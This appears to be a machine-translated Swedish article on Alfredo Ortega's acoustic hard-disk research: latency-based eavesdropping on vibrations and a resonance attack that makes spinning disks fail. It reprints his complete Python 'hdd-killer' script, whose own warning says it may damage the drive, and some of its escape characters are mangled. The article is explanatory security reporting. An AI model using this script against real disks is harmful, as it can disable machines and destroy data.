Varför du inte kan skrika pÄ din hÄrddisk

Varför du inte kan skrika pÄ din hÄrddisk

Vid datasĂ€kerhetskonferensen Ekoparty 2017 i Buenos Aires visade den argentinske hackaren Alfredo Ortega en mycket intressant utveckling – ett system för hemlig avlyssning av lokaler utan att anvĂ€nda mikrofon. Ljud spelas in direkt pĂ„ hĂ„rddisken!

HÄrddisken fÄngar huvudsakligen upp högintensiva lÄgfrekventa ljud, fotsteg och andra vibrationer. MÀnskligt tal kan Ànnu inte kÀnnas igen, Àven om forskare bedriver forskning i denna riktning (taligenkÀnning genom lÄgfrekventa vibrationer, som spelas in till exempel frÄn ett gyroskop eller hÄrddisk).

Ljud Ă€r vibration av luft eller annat medium. En person uppfattar dem genom trumhinnan, som överför vibrationer till innerörat. Mikrofonen Ă€r utformad ungefĂ€r som ett öra – Ă€ven hĂ€r registreras vibrationer av ett tunt membran, som exciterar en elektrisk impuls. HĂ„rddisken utsĂ€tts förstĂ„s ocksĂ„ för mikroskopiska vibrationer pĂ„ grund av fluktuationer i den omgivande luften. Detta Ă€r kĂ€nt Ă€ven frĂ„n de tekniska egenskaperna hos hĂ„rddiskar: tillverkare anger vanligtvis den maximalt tillĂ„tna vibrationsnivĂ„n, och hĂ„rddisken sjĂ€lv försöker ofta placera den i en vibrationssĂ€ker behĂ„llare av gummi eller annat isolerande material. Av detta Ă€r det lĂ€tt att dra slutsatsen att ljud kan spelas in med hĂ„rddisken. Allt som Ă„terstĂ„r Ă€r att ta reda pĂ„ hur.

Alfredo Ortega föreslog en unik version av en sidokanalattack, nÀmligen en tidsattack. Denna attack Àr baserad pÄ antagandet att olika operationer utförs pÄ enheten vid olika tidpunkter, beroende pÄ indata som ges. I det hÀr fallet Àr "indata" vibrationerna frÄn lÀshuvudet och HDD-plattan, som korrelerar med vibrationerna i miljön, det vill sÀga med ljud. Genom att mÀta berÀkningstiden och utföra en statistisk analys av data kan sÄledes vibrationerna hos huvudet/plattan och dÀrmed mediets vibrationer mÀtas. Ju lÀngre fördröjning det Àr att lÀsa data, desto starkare blir hÄrddiskens vibrationer och dÀrför desto högre ljud.

Hur mĂ€ter man hĂ„rddiskens vibrationer? Mycket enkelt: kör bara systemanropet read () — och registrera den tid det tar att slutföra. Moderna operativsystem lĂ„ter dig lĂ€sa tidpunkten för systemsamtal med nanosekunders noggrannhet.

Hastigheten för att lÀsa information frÄn en sektor beror pÄ lÀget för huvudet och plattan, vilket korrelerar med vibrationerna i hÄrddisken. Det Àr allt.

Statistisk analys utförs med ett enkelt Kscope-verktyg. Som de sÀger, allt genialt Àr enkelt.

Varför du inte kan skrika pÄ din hÄrddisk
Verktyget Kscope (stat() syscall)

Kscope Àr ett litet verktyg för att visualisera smÄ skillnader i körtider för systemanrop. KÀllapublicerad pÄ GitHub.

I ett separat förrÄd HDD-tid det finns en version av verktyget konfigurerad för en tidsattack pÄ hÄrddisken, det vill sÀga konfigurerad för att analysera systemanropet read ().

Demonstration av ljudinspelning med hÄrddisk, drift av Kscope-verktyget

Spela upp video

Naturligtvis kan tal inte förstÄs pÄ detta sÀtt, men hÄrddisken Àr ganska lÀmplig som vibrationssensor. Till exempel kan du registrera om en person som bÀr hÄrda skor eller barfota gick in i ett rum med en dator (förmodligen, om angriparen har pÄ sig mjuka sneakers eller det finns en tjock matta pÄ golvet, kommer hÄrddisken inte att kunna registrera vibrationer - detta Àr vÀrt att kolla upp). Datorn kan registrera krossat glas eller andra incidenter med stark ljudintensitet. Det vill sÀga att hÄrddisken kan fungera som ett slags system för upptÀckt av obehörigt intrÄng.

HDD-mördare

För övrigt kan en liknande teknik anvÀndas för att inaktivera hÄrddiskar. HÀr fÄngar vi dock inte upp vibrationer frÄn hÄrddisken, utan genererar snarare vibrationer som matas till hÄrddisken. Om du spelar upp ljud frÄn en högtalare med en frekvens som resonerar med hÄrddiskens frekvens, kommer systemet snart att stÀnga av enheten med ett I/O-fel (kÀrnan). Linux (Detta stÀnger av hÄrddisken helt efter 120 sekunder.) SjÀlva hÄrddisken kan vara oÄterkalleligt skadad.

Varför du inte kan skrika pÄ din hÄrddisk
kÀrna Linux HÄrddisken stÀngdes av efter 120 sekunders ljuduppspelning med resonansfrekvens via Edifier r19u USB-högtalaren. Högtalaren var pÄslagen pÄ ungefÀr en fjÀrdedel av sin effekt (mindre Àn 100 mW) och placerad 20 cm frÄn hÄrddisken, riktad mot bordet för att förstÀrka vibrationerna. Stillbild frÄn video med en demonstration av HDD-mördaren

Det Àr konstigt att sÄdana "attacker" pÄ hÄrddiskar ibland intrÀffar helt av en slump i vardagen. Till exempel, i september 2016, tvingades ING Banks datacenter att avbryta verksamheten i 10 timmar efter en brandövning. Dussintals hÄrddiskar har misslyckats pÄ grund av det höga ljudet av inert gas som slÀpps ut frÄn flaskor under högt tryck. Ljudet var vÀldigt högt (mer Àn 130 dB), men du kan inte ens skrika pÄ hÄrddiskarna - detta ökar fördröjningen i Ätkomst till hÄrddisken.

Demonstration av mÀnskligt skrik pÄ hÄrddiskar i ett datacenter. LatensmÀtning

Spela upp video

För att generera resonansljudet skrev Alfredo Ortega ett Python-skript som heter hdd-mördare (videodemonstration).

HDD killer script Den Àr ganska liten, sÄ du kan publicera den i sin helhet hÀr.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

KĂ€lla: will.com

Köp pĂ„litlig hosting för webbplatser med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster